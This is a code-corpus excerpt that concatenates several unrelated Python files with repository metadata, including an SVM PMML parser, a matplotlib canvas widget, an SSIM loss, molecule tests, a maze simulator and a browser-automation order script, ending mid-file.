boxes = post_process_boxes(boxes=boxes,
scale=scale,
offset_h=offset_h,
offset_w=offset_w,
height=h,
width=w)
# select indices which have a score above the threshold
indices = np.where(scores[:] > score_threshold)[0]
# select those detections
boxes = boxes[indices]
labels = labels[indices]
draw_boxes(src_image, boxes, scores, labels, colors, classes)
cv2.namedWindow('image', cv2.WINDOW_NORMAL)
cv2.imshow('image', src_image)
cv2.waitKey(0)
if __name__ == '__main__':
main()
| 37.782609 | 116 | 0.602225 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 395 | 0.151515 |
3448b89c1dac5e906490d2d8bd353d5694464dd2 | 6,609 | py | Python | sklearn_pmml_model/svm/_base.py | iamDecode/sklearn-pmml-model | 186c0655b6b42b787d58229118b187cc6b156b38 | [
"BSD-2-Clause"
] | 62 | 2018-06-14T05:57:00.000Z | 2022-03-15T03:03:42.000Z | sklearn_pmml_model/svm/_base.py | iamDecode/sklearn-pmml-model | 186c0655b6b42b787d58229118b187cc6b156b38 | [
"BSD-2-Clause"
] | 30 | 2018-10-25T16:54:53.000Z | 2022-01-28T12:59:17.000Z | sklearn_pmml_model/svm/_base.py | iamDecode/sklearn-pmml-model | 186c0655b6b42b787d58229118b187cc6b156b38 | [
"BSD-2-Clause"
] | 9 | 2018-06-19T09:56:18.000Z | 2022-03-17T16:23:44.000Z | # License: BSD 2-Clause
from sklearn_pmml_model.base import PMMLBaseRegressor, parse_array
import numpy as np
class PMMLBaseSVM:
"""
Abstract class for Support Vector Machines.
The PMML model consists out of a <SupportVectorMachineModel> element,
containing a <SupportVectorMachine> element that contains a <SupportVectors>
element describing support vectors, and a <Coefficients> element describing
the coefficients for each support vector. Support vectors are referenced from
a <VectorDictionary> element, in which the true support vectors are described
using <VectorInstance> elements. Furthermore, the model contains one out of
<LinearKernelType>, <PolynomialKernelType>, <RadialBasisKernelType> or
<SigmoidKernelType> describing the kernel function used.
Parameters
----------
pmml : str, object
Filename or file object containing PMML data.
Notes
-----
Specification: http://dmg.org/pmml/v4-3/SupportVectorMachineModel.html
"""
def __init__(self):
# Import coefficients and intercepts
model = self.root.find('SupportVectorMachineModel')
if model is None:
raise Exception('PMML model does not contain SupportVectorMachineModel.')
vector_dictionary = model.find('VectorDictionary')
svms = model.findall('SupportVectorMachine')
coefficients = [svm.find('Coefficients') for svm in svms]
self.shape_fit_ = (0, len(vector_dictionary.find('VectorFields')))
self.support_ = np.array([
int(x.get('id'))
for x in vector_dictionary.findall('VectorInstance')
]).astype(np.int32)
classes = [None, None] if isinstance(self, PMMLBaseRegressor) else self.classes_
self._n_support = np.array([
len(get_overlapping_vectors(get_alt_svms(svms, classes, c)))
for c in classes
]).astype(np.int32)
self.support_vectors_ = np.array([
get_vectors(vector_dictionary, s) for s in self.support_
])
self._intercept_ = self.intercept_ = np.array([float(cs.get('absoluteValue')) for cs in coefficients])
self._dual_coef_ = self.dual_coef_ = np.array(
get_coefficients(classes, self._n_support, self.support_, svms)
)
if len(classes) == 2:
self._n_support = (self._n_support / 2).astype(np.int32)
linear = model.find('LinearKernelType')
poly = model.find('PolynomialKernelType')
rbf = model.find('RadialBasisKernelType')
sigmoid = model.find('SigmoidKernelType')
if linear is not None:
self.kernel = 'linear'
self._gamma = self.gamma = 0.0
elif poly is not None:
self.kernel = 'poly'
self._gamma = self.gamma = float(poly.get('gamma'))
self.coef0 = float(poly.get('coef0'))
self.degree = int(poly.get('degree'))
elif rbf is not None:
self.kernel = 'rbf'
self._gamma = self.gamma = float(rbf.get('gamma'))
elif sigmoid is not None:
self.kernel = 'sigmoid'
self._gamma = self.gamma = float(sigmoid.get('gamma'))
self.coef0 = float(sigmoid.get('coef0'))
self._probA = np.array([])
self._probB = np.array([])
def get_vectors(vector_dictionary, s):
"""Return support vector values, parsed as a numpy array."""
instance = vector_dictionary.find(f"VectorInstance[@id='{s}']")
if instance is None:
raise Exception(f'PMML model is broken, vector instance (id = {s}) not found.')
array = instance.find('Array')
if array is None:
array = instance.find('REAL-Array')
if array is None:
array = instance.find('SparseArray')
if array is None:
array = instance.find('REAL-SparseArray')
if array is None:
raise Exception(f'PMML model is broken, vector instance (id = {s}) does not contain (Sparse)Array element.')
return np.array(parse_array(array))
def get_alt_svms(svms, classes, target_class):
"""
Find alternative SVMs (e.g., for target class 0, find the svms classifying 0 against 1, and 0 against 2).
Parameters
----------
svms : list
List of eTree.Element objects describing the different one-to-one support vector machines in the PMML.
classes : numpy.array
The classes to be predicted by the model.
target_class : str
The target class.
Returns
-------
alt_svms : list
List of eTree.Elements filtered to only include SVMs comparing the target class against alternate classes.
"""
# Noop for regression
if classes[0] is None:
return svms
alt_svms = [
svm for svm in svms
if svm.get('targetCategory') == str(target_class) or svm.get('alternateTargetCategory') == str(target_class)
]
# Sort svms based on target class order
alt_svms = [
next(svm for svm in alt_svms if svm.get('targetCategory') == str(c) or svm.get('alternateTargetCategory') == str(c))
for c in set(classes).difference({target_class})
]
return alt_svms
def get_overlapping_vectors(svms):
"""
Return support vector ids that are present in all provided SVM elements.
Parameters
----------
svms : list
List of eTree.Element objects describing the different one-to-one support vector machines in the PMML.
Returns
-------
output : set
Set containing all integer vector ids that are present in all provided SVM elements.
"""
support_vectors = [svm.find('SupportVectors') for svm in svms]
vector_ids = [{int(x.get('vectorId')) for x in s.findall('SupportVector')} for s in support_vectors]
return set.intersection(*vector_ids)
def get_coefficients(classes, n_support, support_ids, svms):
"""
Return support vector coefficients.
Parameters
----------
classes : numpy.array
The classes to be predicted by the model.
n_support : numpy.array
Numpy array describing the number of support vectors for each class.
support_ids: list
A list describing the ids of all support vectors in the model.
svms : list
List of eTree.Element objects describing the different one-to-one support vector machines in the PMML.
"""
dual_coef = np.zeros((len(classes) - 1, len(support_ids)))
for i, x in enumerate(classes):
alt_svms = get_alt_svms(svms, classes, x)
offsets = [0] + np.cumsum(n_support).tolist()
for j, svm in enumerate(alt_svms):
start = offsets[i]
end = offsets[i + 1]
ids = support_ids[start:end]
support_vectors = [int(x.get('vectorId')) for x in svm.find('SupportVectors').findall('SupportVector')]
coefficients = [float(x.get('value')) for x in svm.find('Coefficients').findall('Coefficient')]
indices = [support_vectors.index(x) for x in ids]
dual_coef[j, start:end] = np.array(coefficients)[indices]
return dual_coef
| 31.927536 | 120 | 0.693751 | 2,950 | 0.446361 | 0 | 0 | 0 | 0 | 0 | 0 | 3,151 | 0.476774 |
34495a06737335e1258b7f38ad90e67ba9e2259e | 2,532 | py | Python | enaml/mpl_canvas.py | viz4biz/PyDataNYC2015 | 066154ea9f1837c355e6108a28b85889f3020da3 | [
"Apache-2.0"
] | 11 | 2015-11-11T13:57:21.000Z | 2019-08-14T15:53:43.000Z | enaml/mpl_canvas.py | viz4biz/PyDataNYC2015 | 066154ea9f1837c355e6108a28b85889f3020da3 | [
"Apache-2.0"
] | null | null | null | enaml/mpl_canvas.py | viz4biz/PyDataNYC2015 | 066154ea9f1837c355e6108a28b85889f3020da3 | [
"Apache-2.0"
] | 6 | 2015-11-11T13:57:25.000Z | 2018-09-12T07:53:03.000Z | #------------------------------------------------------------------------------
# Copyright (c) 2013, Nucleic Development Team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#------------------------------------------------------------------------------
from atom.api import Typed, ForwardTyped, Bool, observe, set_default, Value, List, Enum
from enaml.core.declarative import d_
from .control import Control, ProxyControl
#: Delay the import of matplotlib until needed. This removes the hard
#: dependecy on matplotlib for the rest of the Enaml code base.
def Figure():
from matplotlib.figure import Figure
return Figure
class ProxyMPLCanvas(ProxyControl):
""" The abstract definition of a proxy MPLCanvas object.
"""
#: A reference to the MPLCanvas declaration.
declaration = ForwardTyped(lambda: MPLCanvas)
def set_figure(self, figure):
raise NotImplementedError
def set_toolbar_visible(self, visible):
raise NotImplementedError
def set_toolbar_location(self, location):
raise NotImplementedError
def set_event_actions(self, actions):
raise NotImplementedError
def draw(self):
raise NotImplementedError
class MPLCanvas(Control):
""" A control which can be used to embded a matplotlib figure.
"""
#: The matplotlib figure to display in the widget.
figure = d_(ForwardTyped(Figure))
#: Whether or not the matplotlib figure toolbar is visible.
toolbar_visible = d_(Bool(False))
toolbar_location = d_(Enum('top', 'bottom'))
event_actions = d_(List(Value()))
#: Matplotlib figures expand freely in height and width by default.
hug_width = set_default('ignore')
hug_height = set_default('ignore')
#: A reference to the ProxyMPLCanvas object.
proxy = Typed(ProxyMPLCanvas)
def draw(self):
""" Request draw on the Figure """
if self.proxy_is_active:
self.proxy.draw()
#--------------------------------------------------------------------------
# Observers
#--------------------------------------------------------------------------
@observe('figure', 'toolbar_visible', 'toolbar_location', 'event_actions')
def _update_proxy(self, change):
""" An observer which sends state change to the proxy.
"""
# The superclass handler implementation is sufficient.
super(MPLCanvas, self)._update_proxy(change)
| 31.65 | 87 | 0.612164 | 1,795 | 0.708926 | 0 | 0 | 303 | 0.119668 | 0 | 0 | 1,278 | 0.504739 |
3449704981ebbc8bc32237e12d8a30eef51a79de | 1,566 | py | Python | evaluate/previous_works/svsyn/supervision/photometric.py | Syniez/Joint_360depth | 4f28c3b5b7f648173480052e205e898c6c7a5151 | [
"MIT"
] | 92 | 2019-09-08T09:55:05.000Z | 2022-02-21T21:29:40.000Z | supervision/photometric.py | zjsprit/SphericalViewSynthesis | fcdec95bf3ad109767d27396434b51cf3aad2b4b | [
"BSD-2-Clause"
] | 4 | 2020-05-12T02:29:36.000Z | 2021-11-26T07:49:43.000Z | supervision/photometric.py | zjsprit/SphericalViewSynthesis | fcdec95bf3ad109767d27396434b51cf3aad2b4b | [
"BSD-2-Clause"
] | 26 | 2019-09-16T02:26:33.000Z | 2021-10-21T03:55:02.000Z | import torch
from .ssim import *
class PhotometricLossParameters(object):
def __init__(self, alpha=0.85, l1_estimator='none',\
ssim_estimator='none', window=7, std=1.5, ssim_mode='gaussian'):
super(PhotometricLossParameters, self).__init__()
self.alpha = alpha
self.l1_estimator = l1_estimator
self.ssim_estimator = ssim_estimator
self.window = window
self.std = std
self.ssim_mode = ssim_mode
def get_alpha(self):
return self.alpha
def get_l1_estimator(self):
return self.l1_estimator
def get_ssim_estimator(self):
return self.ssim_estimator
def get_window(self):
return self.window
def get_std(self):
return self.std
def get_ssim_mode(self):
return self.ssim_mode
def calculate_loss(pred, gt, params, mask, weights):
valid_mask = mask.type(gt.dtype)
masked_gt = gt * valid_mask
masked_pred = pred * valid_mask
l1 = torch.abs(masked_gt - masked_pred)
d_ssim = torch.clamp(
(
1 - ssim_loss(masked_pred, masked_gt, kernel_size=params.get_window(),
std=params.get_std(), mode=params.get_ssim_mode())
) / 2, 0, 1)
loss = (
d_ssim * params.get_alpha()
+ l1 * (1 - params.get_alpha())
)
loss *= valid_mask
loss *= weights
count = torch.sum(mask, dim=[1, 2, 3], keepdim=True).float()
return torch.mean(torch.sum(loss, dim=[1, 2, 3], keepdim=True) / count)
| 30.115385 | 83 | 0.604725 | 805 | 0.514049 | 0 | 0 | 0 | 0 | 0 | 0 | 22 | 0.014049 |
3449bef65b5b8a27951b1370c04e2abfac01c124 | 1,917 | py | Python | Python/waytoolong.py | pretam591/All_Program_helper | 83f52bce53bdcd0b115753ecda610d21aa0ddd2a | [
"MIT"
] | 16 | 2021-10-03T11:15:49.000Z | 2021-10-31T04:40:24.000Z | Python/waytoolong.py | pretam591/All_Program_helper | 83f52bce53bdcd0b115753ecda610d21aa0ddd2a | [
"MIT"
] | 232 | 2021-10-02T14:51:43.000Z | 2021-11-14T08:23:27.000Z | Python/waytoolong.py | pretam591/All_Program_helper | 83f52bce53bdcd0b115753ecda610d21aa0ddd2a | [
"MIT"
] | 166 | 2021-10-02T13:56:34.000Z | 2021-10-31T17:56:34.000Z | # A. Way Too Long Words
# -------------------------------
# time limit per test1 second
# memory limit per test 256 megabytes
# input :standard input
# output :standard output
# Sometimes some words like "localization" or "internationalization" are so long that writing
# them many times in one text is quite tiresome.
# Let's consider a word too long, if its length is strictly more than 10 characters.
# All too long words should be replaced with a special abbreviation.
# This abbreviation is made like this: we write down the first and the last letter of a word and between
# them we write the number of letters between the first and the last letters.
# That number is in decimal system and doesn't contain any leading zeroes.
# Thus, "localization" will be spelt as "l10n", and "internationalization» will be spelt as "i18n".
# You are suggested to automatize the process of changing the words with abbreviations.
# At that all too long words should be replaced by the abbreviation and the words that are not
# too long should not undergo any changes.
# Input
# The first line contains an integer n (1 ≤ n ≤ 100). Each of the following n lines contains one word.
# All the words consist of lowercase Latin letters and possess the lengths of from 1 to 100 characters.
# Output
# Print n lines. The i-th line should contain the result of replacing of the i-th word from the input data.
# Examples
# input
# 4
# word
# localization
# internationalization
# pneumonoultramicroscopicsilicovolcanoconiosis
# output
# word
# l10n
# i18n
# p43s
#solution to above problem
t=int(input())
for i in range(t):
s=input()
if(len(s)<=10):
print(s)
else:
print(s[0]+str(len(s)-2)+s[-1])
| 36.865385 | 107 | 0.649974 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,751 | 0.907254 |
344a8a5e768a6b664f7f2dcbefec0978989b66e3 | 584 | py | Python | stake-pool/py/stake/constants.py | wowswap-io/solana-program-library | 3af176d6c4d872afe029396a597736484d4a8212 | [
"Apache-2.0"
] | null | null | null | stake-pool/py/stake/constants.py | wowswap-io/solana-program-library | 3af176d6c4d872afe029396a597736484d4a8212 | [
"Apache-2.0"
] | 21 | 2022-03-18T20:20:29.000Z | 2022-03-29T08:38:49.000Z | stake-pool/py/stake/constants.py | wowswap-io/solana-program-library | 3af176d6c4d872afe029396a597736484d4a8212 | [
"Apache-2.0"
] | null | null | null | """Stake Program Constants."""
from solana.publickey import PublicKey
STAKE_PROGRAM_ID: PublicKey = PublicKey("Stake11111111111111111111111111111111111111")
"""Public key that identifies the Stake program."""
SYSVAR_STAKE_CONFIG_ID: PublicKey = PublicKey("StakeConfig11111111111111111111111111111111")
"""Public key that identifies the Stake config sysvar."""
STAKE_LEN: int = 200
"""Size of stake account."""
LAMPORTS_PER_SOL: int = 1_000_000_000
"""Number of lamports per SOL"""
MINIMUM_DELEGATION: int = LAMPORTS_PER_SOL
"""Minimum delegation allowed by the stake program"""
| 30.736842 | 92 | 0.789384 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 341 | 0.583904 |
344bdfd8bb0a323b85e099ee0a1e40416c891086 | 1,774 | py | Python | tests/chem/test_mol.py | ShantamShorewala/aizynthfinder | 6b15d5846558b14c4ce3c353727d9d676af7f6fb | [
"MIT"
] | 219 | 2020-06-15T08:04:53.000Z | 2022-03-31T09:02:47.000Z | tests/chem/test_mol.py | ShantamShorewala/aizynthfinder | 6b15d5846558b14c4ce3c353727d9d676af7f6fb | [
"MIT"
] | 56 | 2020-08-14T14:50:42.000Z | 2022-03-22T12:49:06.000Z | tests/chem/test_mol.py | ShantamShorewala/aizynthfinder | 6b15d5846558b14c4ce3c353727d9d676af7f6fb | [
"MIT"
] | 58 | 2020-06-15T13:36:42.000Z | 2022-03-21T06:18:02.000Z | import pytest
from rdkit import Chem
from aizynthfinder.chem import MoleculeException, Molecule
def test_no_input():
with pytest.raises(MoleculeException):
Molecule()
def test_create_with_mol():
rd_mol = Chem.MolFromSmiles("O")
mol = Molecule(rd_mol=rd_mol)
assert mol.smiles == "O"
def test_create_with_smiles():
mol = Molecule(smiles="O")
assert Chem.MolToSmiles(mol.rd_mol) == "O"
def test_inchi():
mol = Molecule(smiles="O")
assert mol.inchi == "InChI=1S/H2O/h1H2"
def test_inchi_key():
mol = Molecule(smiles="O")
assert mol.inchi_key == "XLYOFNOQVPJJNP-UHFFFAOYSA-N"
def test_fingerprint():
mol = Molecule(smiles="O")
assert sum(mol.fingerprint(2)) == 1
assert sum(mol.fingerprint(2, 10)) == 1
def test_sanitize():
mol = Molecule(smiles="O", sanitize=True)
assert Chem.MolToSmiles(mol.rd_mol) == "O"
mol = Molecule(smiles="c1ccccc1(C)(C)")
with pytest.raises(MoleculeException):
mol.sanitize()
mol.sanitize(raise_exception=False)
assert mol.smiles == "CC1(C)CCCCC1"
def test_equality():
mol1 = Molecule(smiles="CCCCO")
mol2 = Molecule(smiles="OCCCC")
assert mol1 == mol2
def test_basic_equality():
mol1 = Molecule(smiles="CC[C@@H](C)O") # R-2-butanol
mol2 = Molecule(smiles="CC[C@H](C)O") # S-2-butanol
assert mol1 != mol2
assert mol1.basic_compare(mol2)
def test_has_atom_mapping():
mol1 = Molecule(smiles="CCCCO")
mol2 = Molecule(smiles="C[C:5]CCO")
assert not mol1.has_atom_mapping()
assert mol2.has_atom_mapping()
def test_remove_atom_mapping():
mol = Molecule(smiles="C[C:5]CCO")
assert mol.has_atom_mapping()
mol.remove_atom_mapping()
assert not mol.has_atom_mapping()
| 19.494505 | 58 | 0.669109 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 201 | 0.113303 |
344cd574f56ada084ecacd041bbefa24f527dd55 | 715 | py | Python | agents/agent_loader.py | JCKing97/Agents4Asteroids | c25eb106b9963db97a6fd426f2a8b2f7b8dd073f | [
"MIT"
] | 1 | 2020-06-24T16:07:38.000Z | 2020-06-24T16:07:38.000Z | agents/agent_loader.py | JCKing97/Agents4Asteroids | c25eb106b9963db97a6fd426f2a8b2f7b8dd073f | [
"MIT"
] | 9 | 2019-08-14T19:44:39.000Z | 2020-05-03T13:01:57.000Z | agents/agent_loader.py | JCKing97/Agents4Asteroids | c25eb106b9963db97a6fd426f2a8b2f7b8dd073f | [
"MIT"
] | null | null | null | from typing import List, Type
from game.agent import Agent
import os
from importlib import import_module
import inspect
def load_agents() -> List[Type[Agent]]:
"""
:return: all available agent types currently in the system.
"""
agents: List[Type[Agent]] = []
agent_dir = os.path.dirname(os.path.abspath(__file__))
for filename in os.listdir(agent_dir):
filename = str(filename)
if filename.endswith(".py"):
module = import_module("agents." + filename.split('.')[0])
for name, obj in inspect.getmembers(module, inspect.isclass):
if issubclass(obj, Agent) and obj is not Agent:
agents.append(obj)
return agents
| 32.5 | 73 | 0.641958 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 92 | 0.128671 |
344d4a396eb26c9eccedae0bb72c566a4fafb73b | 1,806 | py | Python | src/qa_data_augmentation_script/random_data_split.py | zxgx/Graph2Seq-for-KGQG | ce0f5d2c01a37830d8bacd1494c51faf4bd1ff61 | [
"Apache-2.0"
] | 24 | 2020-12-22T01:39:33.000Z | 2022-03-08T15:54:00.000Z | src/qa_data_augmentation_script/random_data_split.py | zxgx/Graph2Seq-for-KGQG | ce0f5d2c01a37830d8bacd1494c51faf4bd1ff61 | [
"Apache-2.0"
] | 4 | 2020-12-25T23:41:48.000Z | 2022-02-27T03:06:36.000Z | src/qa_data_augmentation_script/random_data_split.py | zxgx/Graph2Seq-for-KGQG | ce0f5d2c01a37830d8bacd1494c51faf4bd1ff61 | [
"Apache-2.0"
] | 11 | 2020-12-22T13:42:39.000Z | 2022-02-23T08:10:17.000Z | import argparse
import random
import os
import json
def load_ndjson(file):
data = []
try:
with open(file, 'r') as f:
for line in f:
data.append(json.loads(line.strip()))
except Exception as e:
raise e
return data
def dump_ndjson(data, file):
try:
with open(file, 'w') as f:
for each in data:
f.write(json.dumps(each) + '\n')
except Exception as e:
raise e
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--input', required=True, type=str, nargs='+', help='path to the input datasets')
parser.add_argument('-out_dir', '--out_dir', required=True, type=str, help='path to the output dir')
parser.add_argument('-ratio', '--ratio', type=float, nargs='+', help='training data sampling ratio')
opt = vars(parser.parse_args())
random.seed(123)
data = []
for path in opt['input']:
data.extend(load_ndjson(path))
assert len(opt['ratio']) == 2 and sum(opt['ratio']) < 1 and min(opt['ratio']) > 0
train_ratio, dev_ratio = opt['ratio']
n_train = int(len(data) * train_ratio)
n_dev = int(len(data) * dev_ratio)
random.shuffle(data)
random.shuffle(data)
random.shuffle(data)
random.shuffle(data)
random.shuffle(data)
train_data = data[:n_train]
dev_data = data[n_train:n_train + n_dev]
test_data = data[n_train + n_dev:]
dump_ndjson(train_data, os.path.join(opt['out_dir'], 'train.json'))
dump_ndjson(dev_data, os.path.join(opt['out_dir'], 'dev.json'))
dump_ndjson(test_data, os.path.join(opt['out_dir'], 'test.json'))
print('total size: {}, train size: {}, dev size: {}, test size: {}'.format(len(data), len(train_data), len(dev_data), len(test_data)))
| 31.684211 | 138 | 0.621262 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 315 | 0.174419 |
344d956d488c516a29077183bd8d98d861f64296 | 6,322 | py | Python | MultiRatMaze.py | MarcusRainbow/Maze | b1058161d7f55251b969e64bbe59b3bece3a310c | [
"MIT"
] | null | null | null | MultiRatMaze.py | MarcusRainbow/Maze | b1058161d7f55251b969e64bbe59b3bece3a310c | [
"MIT"
] | null | null | null | MultiRatMaze.py | MarcusRainbow/Maze | b1058161d7f55251b969e64bbe59b3bece3a310c | [
"MIT"
] | null | null | null | from typing import List, Set, Optional, Tuple
from random import randrange, shuffle, random
from RatInterface import Rat, MazeInfo
from SimpleRats import AlwaysLeftRat, RandomRat
from SimpleMaze import random_maze, render_graph, validate_edges
from Localizer import Localizer, NonLocalLocalizer, OneDimensionalLocalizer, TwoDimensionalOneStepLocalizer
from graphviz import Graph
class MultiRatMaze:
"""
A multi-rat maze supports more than one rat, moving at different
speeds. The speed of each rat is defined by an integer, stating how
often the rat moves.
"""
def __init__(self, edges: List[List[int]], fill_back_steps: bool):
"""
Initialise with a set of edges. If fill_back_steps is true, we
generate backward edges to make it an undirected graph.
"""
validate_edges(edges, fill_back_steps)
self.all_edges = edges
def __str__(self):
return "MultiRatMaze(%s)" % self.all_edges
def maze(self) -> List[List[int]]:
return self.all_edges
def solve(
self,
rats: List[Tuple[Rat, int]],
max_iterations: int,
wait_for_all: bool = False,
info: Optional[MazeInfo] = None) -> bool:
"""
Tries to solve the maze. Returns the number of iterations used.
If it exceeds max_iterations, returns max_iterations + 1. The rats
parameter is a list of rats and their associated speeds (one being fastest,
two meaning wait every other turn etc.) Either wait for all rats,
or exit as soon as the fastest rat has quit.
"""
rat_count = len(rats)
if rat_count == 0:
raise Exception("No rats supplied")
# Always start all rats from the beginning (may want to relax this
# constraint)
pos = [0] * rat_count
iterations = 0
# set the last_pos such that the back path is the last in the first list
last = self.all_edges[0][-1]
last_pos = [last] * rat_count
#print("pos=%i last_pos=%i" % (pos, last_pos))
# keep going until the either all rats have finished or just one (or we ran
# out of iterations)
end = len(self.all_edges)
while not has_finished(pos, end, iterations, max_iterations, wait_for_all):
iterations = iterations + 1
# First update the info for any rats that are newly in this location
if info:
for (i, (rat, speed)) in enumerate(rats):
if (iterations - 1) % speed == 0:
# find the edges from the current node
edges = self.all_edges[pos[i]]
# one of these edges should point back to where we came from
if edges.count(last_pos[i]) != 1:
print("Problem: no edge from %i to %i" % (pos[i], last_pos[i]))
back = edges.index(last_pos[i])
num_edges = len(edges)
# update the info
info.set_pos(pos[i], back, num_edges, rat)
# Next, for any rats that are not skipping this turn, make the turn
for (i, (rat, speed)) in enumerate(rats):
if iterations % speed != 0:
continue # skip a turn for this rat
# get the rat to choose a direction
edges = self.all_edges[pos[i]]
back = edges.index(last_pos[i])
num_edges = len(edges)
turn = rat.turn(num_edges, info)
if (turn >= num_edges) or (turn < 0):
raise Exception("Rat turn out of range")
# invalidate the position of this rat, as it is about to move
if info:
info.invalidate_pos(rat)
# convert it to an absolute direction and make the move
direction = (turn + back) % num_edges
last_pos[i] = pos[i]
pos[i] = edges[direction]
#print("pos=%i last_pos=%i" % (pos, last_pos))
# hit the end, or failed with an iteration count that is too high
# (technically we should worry about the case where we hit max
# iterations with a valid exit, but this is unlikely and does not
# matter much).
return iterations
def has_finished(pos: List[int], end: int, iterations: int, max_iterations: int, wait_for_all: bool) -> bool:
if iterations > max_iterations:
return True
if wait_for_all:
return all(p == end for p in pos)
else:
return end in pos
def test_multiple_left_rats():
rat = AlwaysLeftRat() # content-less rat, so only need one
rats = [(rat, 2), (rat, 3)]
maze = MultiRatMaze([[1, 3], [2], [3, 0]], True)
MAX_ITER = 10
iter = maze.solve(rats, MAX_ITER)
print("test_left_multi_rats solved in %i iterations" % iter)
assert(iter > 0 and iter <= MAX_ITER)
def test_big_multimaze():
rat = RandomRat() # content-less rat, so only need one
rats = [(rat, 2), (rat, 3)]
maze = MultiRatMaze([[5, 3], [6], [5, 3, 17, 14, 13, 20],
[2, 0, 4, 14, 13, 5, 17, 12], [7, 3], [0, 14, 9, 2, 6, 3],
[5, 13, 1], [8, 4, 19, 10], [14, 7], [14, 5, 17], [7, 13],
[15, 16], [3, 15], [6, 17, 10, 3, 16, 2], [5, 9, 2, 8, 3, 19],
[12, 11, 18], [11, 13], [13, 2, 9, 3], [15], [14, 7]], False)
MAX_ITER = 1000
iter = maze.solve(rats, MAX_ITER)
print("test_big_maze solved in %i iterations" % iter)
assert(iter > 0 and iter < MAX_ITER)
def test_random_1d_multimaze():
maze = MultiRatMaze(random_maze(0.5, OneDimensionalLocalizer(25, 5)), False)
render_graph(maze.maze(), "temp/random_1d_multimaze")
rat = RandomRat()
rats = [(rat, 2), (rat, 3)]
MAX_ITER = 1000
iter = maze.solve(rats, MAX_ITER)
print("test_random_1d_multimaze solved in %i iterations" % iter)
assert(iter > 0 and iter < MAX_ITER)
if __name__ == "__main__":
test_multiple_left_rats()
test_big_multimaze()
test_random_1d_multimaze()
| 41.320261 | 110 | 0.568175 | 4,133 | 0.653749 | 0 | 0 | 0 | 0 | 0 | 0 | 2,041 | 0.322841 |
344e186983740ead69b276e12886da372d386a96 | 2,187 | py | Python | splinter/cmstest/resourcePlatform/order.py | zhaopiandehuiyiforsang/python_test | 7a6ef77afd3b436f798ca68c77b9ac8669e00094 | [
"MIT"
] | null | null | null | splinter/cmstest/resourcePlatform/order.py | zhaopiandehuiyiforsang/python_test | 7a6ef77afd3b436f798ca68c77b9ac8669e00094 | [
"MIT"
] | null | null | null | splinter/cmstest/resourcePlatform/order.py | zhaopiandehuiyiforsang/python_test | 7a6ef77afd3b436f798ca68c77b9ac8669e00094 | [
"MIT"
] | null | null | null | # -*- coding:utf-8 -*-
import init_env
import time
from splinter import Browser
class Order:
"""创建订单
"""
def __init__(self, browser=None):
self.browser = browser
# 1.创建订单
self.create()
# 2.提交订单并生效
self.active()
def create(self):
"""创建订单
"""
browser = self.browser
# 进入订单管理页面
browser.visit(
'https://rastest9.zhixueyun.com/admin/#/order/order-manage')
time.sleep(1)
# 5.点开新增订单页面
add_order = browser.find_by_xpath(
'/html/body/div[1]/div[2]/div[2]/div/div[2]/div[2]/div[1]/div')
add_order.click()
time.sleep(0.5)
# 5.1.1.点开客户方选择器
company_name = browser.find_by_name('company_name')
time.sleep(0.5)
company_name.click()
time.sleep(1)
# 5.1.2.过滤客户方
username_input = browser.find_by_name('fullName')
username_input.fill('kedong')
searchbtn = browser.find_by_text('查询').last
time.sleep(0.5)
searchbtn.click()
time.sleep(0.5)
# 5.1.3.选择客户方 (选择列表中的第一个)
user_list = browser.find_by_name('memberId')
user_list.click()
# 5.1.4.确定
confirmbtn = browser.find_by_text('确定').last
time.sleep(0.5)
confirmbtn.click()
time.sleep(0.5)
# 5.2.1.选择订单类型
browser.find_by_css(
'selectize-input items has-options full has-items').last.click()
# 5.2.2.选择资源订单类型
browser.find_by_xpath(
'/html/body/div[1]/div[3]/div[2]/div/div/div[2]/div/div/div[2]/div/div/form/div/div[3]/div[2]/div/div[2]/div/div[2]').click()
# 5.3.1.设置订单有效期——开始时间
browser.find_by_xpath('//*[@id="D449start-time"]').click()
browser.find_by_css_selector(
'div.dayContainer > span.today').click()
# 5.3.2.设置订单有效期——结束时间
browser.find_by_xpath('//*[@id="D449start-time"]').click()
# browser.find_by_css_selector('div.dayContainer > span.today + span').click()
print('创建订单')
time.sleep(5)
def active(self):
"""提交订单并生效
"""
print('提交订单并生效')
time.sleep(5)
| 27.3375 | 137 | 0.555098 | 2,356 | 0.96597 | 0 | 0 | 0 | 0 | 0 | 0 | 1,022 | 0.419024 |
344fd867b506c15ba847e2f164c3714a717e5d31 | 687 | py | Python | day13/1.py | lvrcek/advent-of-code-2020 | 2f0acd80d0d8053539327282da29aca08bd7dfcf | [
"MIT"
] | 2 | 2020-12-06T09:34:58.000Z | 2020-12-07T08:12:46.000Z | day13/1.py | lvrcek/advent-of-code-2020 | 2f0acd80d0d8053539327282da29aca08bd7dfcf | [
"MIT"
] | null | null | null | day13/1.py | lvrcek/advent-of-code-2020 | 2f0acd80d0d8053539327282da29aca08bd7dfcf | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Advent of Code 2020
Day 13, Part 1
"""
def main():
with open('in.txt') as f:
lines = f.readlines()
arrival = int(lines[0].strip())
bus_ids = []
for n in lines[1].strip().split(','):
if n == 'x':
continue
else:
bus_ids.append(int(n))
waiting_time = [(n - arrival % n, n) for n in bus_ids]
min_time = waiting_time[0][0]
first_bus = waiting_time[0][1]
for minutes, bus in waiting_time[1:]:
if minutes < min_time:
min_time = minutes
first_bus = bus
print(min_time * first_bus)
if __name__ == '__main__':
main()
| 18.567568 | 58 | 0.535662 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 110 | 0.160116 |
344fe3a1bf94dc0bbf294fb4e913b4735993b476 | 1,318 | py | Python | autorest/multiapi/models/config.py | qwordy/autorest.python | 6b12df51c2a39a1285546b5a771b69f5896e794f | [
"MIT"
] | null | null | null | autorest/multiapi/models/config.py | qwordy/autorest.python | 6b12df51c2a39a1285546b5a771b69f5896e794f | [
"MIT"
] | null | null | null | autorest/multiapi/models/config.py | qwordy/autorest.python | 6b12df51c2a39a1285546b5a771b69f5896e794f | [
"MIT"
